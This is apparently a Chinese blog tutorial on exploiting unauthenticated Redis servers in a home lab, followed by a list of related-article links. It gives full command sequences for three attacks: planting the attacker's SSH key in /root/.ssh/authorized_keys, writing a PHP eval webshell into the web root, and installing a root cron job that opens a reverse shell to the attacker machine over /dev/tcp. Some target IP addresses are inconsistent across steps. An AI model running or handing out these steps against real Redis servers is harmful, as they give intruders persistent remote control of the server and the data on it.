Redis基础

1

Redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

1

1

实验漏洞环境搭建

模拟服务器centos7.5:192.168.3.134

模拟攻击机kali linux2020:192.168.3.135

两台主机均要安装ssh 这个百度一大堆不在赘述。

攻击机模拟机均安装Redis

之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装

yum -y install redis

编辑redis配置文件

vim /etc/redis.conf
第一个修改的地方 bind 127.0.0.1 前面加上#注释掉 允许取出除本地外的主机远程登录redis服务。
如不过不注释的话会强制redis只监听IPv4本地地址 而其他地址就无法访问。

第二个要修改的地方是protected 将yes改为no 关闭保护模式,允许远程连接redis服务 

使用配置文件启动redis

redis-server /etc/redis.conf

linux免密码登陆SSH

1.原理

首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆

一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,

另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。

redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。

在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

mkdir /root/.sh

在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可

会生成两个一个是私钥一个是公钥

ssh-keygen -t rsa

将公钥保存到key中

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

通过redis将key写入到服务器中

 cat key.txt | redis-cli -h 192.168.3.134 -x set hack

连接目标主机的redis

redis-cli -h 192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys

将数据保存

save

免密码登陆目标服务器

ssh 192.168.3.1

成功免密码登陆

通过Redis在web目录下写入webshell

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)

redis-cli -h 192.168.3.134   //连接目标
config set dir /var/www/html //设置dir的目录
set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中
config set dbfilename webshell.php //设置数据文件为webshell.php
save //保存

成功被写入

利用linux定时任务反弹shell

redis-cli -h 192.168.3.134
CONFIG SET dir /var/spool/cron //切换到定时任务目录
CONFIG SET dbfilename root //生成一个root文件
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell
save //保存

Redis基础

1

1

Redis基础

1

1

Redis基础

1

1

Redis的一些攻击手法整理的更多相关文章

  1. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  2. 【转载】Redis 4.0 自动内存碎片整理(Active Defrag)源码分析

    click原文链接原文链接:https://blog.csdn.net/zouhuajianclever/article/details/90669409阅读本文前建议先阅读此篇博客: Redis源码 ...

  3. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

  5. Redis面试题及答案整理

    1.什么是Redis?简述它的优缺点? Redis的全称是:Remote Dictionary.Server,本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载 ...

  6. 50道Redis面试题及答案整理,史上最全!

    在网上看到有关Redis的50道面试题,但是没有给出答案,之前我也在寻找这份Redis面试题的答案,今天特地把答案分享出来. 花了大量时间整理了这套Redis面试题及答案,希望对大家有帮助哈~ 弄明白 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. python连接MySQL/redis/mongoDB数据库的简单整理

    python连接mysql 用python操作mysql,你必须知道pymysql 代码示意: import pymysql conn = pymysql.connect(host='127.0.0. ...

  9. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

随机推荐

  1. PHP-fpm启动后没有查询到9000端口的问题

    Nginx与php-fpm通信的两种方式:tcp socket 和 Unix socket. Unix socket 是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信.这种方式需要再ng ...

  2. CentOS安装MySQL详解 转

      引言 最近某云搞活动,买了个服务器作为平时学习和测试用,新机器啥也没有,一些常用软件的安装是免不了的,于是乎想着把安装过程都详细记录下来,一是做个备忘,二是给有需要的同学作个参考. Linux上安 ...

  3. Redis Hashes 数据类型简述

    Redis Hashes 是我们日常使用中比较高频的 Redis 数据类型,内部使用 Redis 字典结构存储,底层基于哈希表结构实现. 下面从哈希表节点,哈下表结构,Redis 字典,Redis 字 ...

  4. MySQL历史

    MySQL历史 马云生气了 去IOE活动 1979年 研发一个引擎 1996年 发布MySQL1.0 1999年 瑞典注册AB公司 2003年 MySQL 5.0版本 提供试图.存储过程 具有了一些企 ...

  5. django—模板相关

    关于在html文件中使用模板语言时,一些符号的含义 {{}}:显示变量相关,在模板渲染的时候替换成值 {%%}:处理逻辑相关 django模板语言中,对于列表字典等容器类型,不能够通过[ 索引/键值 ...

  6. python提取视频第一帧图片

    一.实现代码 # -*- coding: utf-8 -*- import cv2 from PIL import Image from io import BytesIO def tryTime(m ...

  7. vue 路由知识点(一级路由与二级路由嵌套)

    本人小白一个,如果问题,麻烦大神指点, 一级路由: path:'/' 默认为显示; 二级路由: path: '',默认显示为index组件,因为二级路有没有写index组件,所以使用redirect: ...

  8. 老板,来五道misc

    开个杂项坑 穿越时空的思念 音频隐写,audacity分离音道,摩斯密码一把锁 金三胖 是个gif,明显能感觉到里面藏有flag stegsolve逐帧分离太low了,直接用脚本一把梭 import ...

  9. redis client原理分析

    代码库地址:https://github.com/garyburd/redigo 1:连接池 2:发送命令 3:解析结果 1:连接池 连接池结构体如下: type Pool struct { // D ...

  10. BeanUtil的使用

    融合相同属性的对象 FaultItemDto item = new FaultItemDto(); BeanUtil.copyNotNullProperties(item, detail);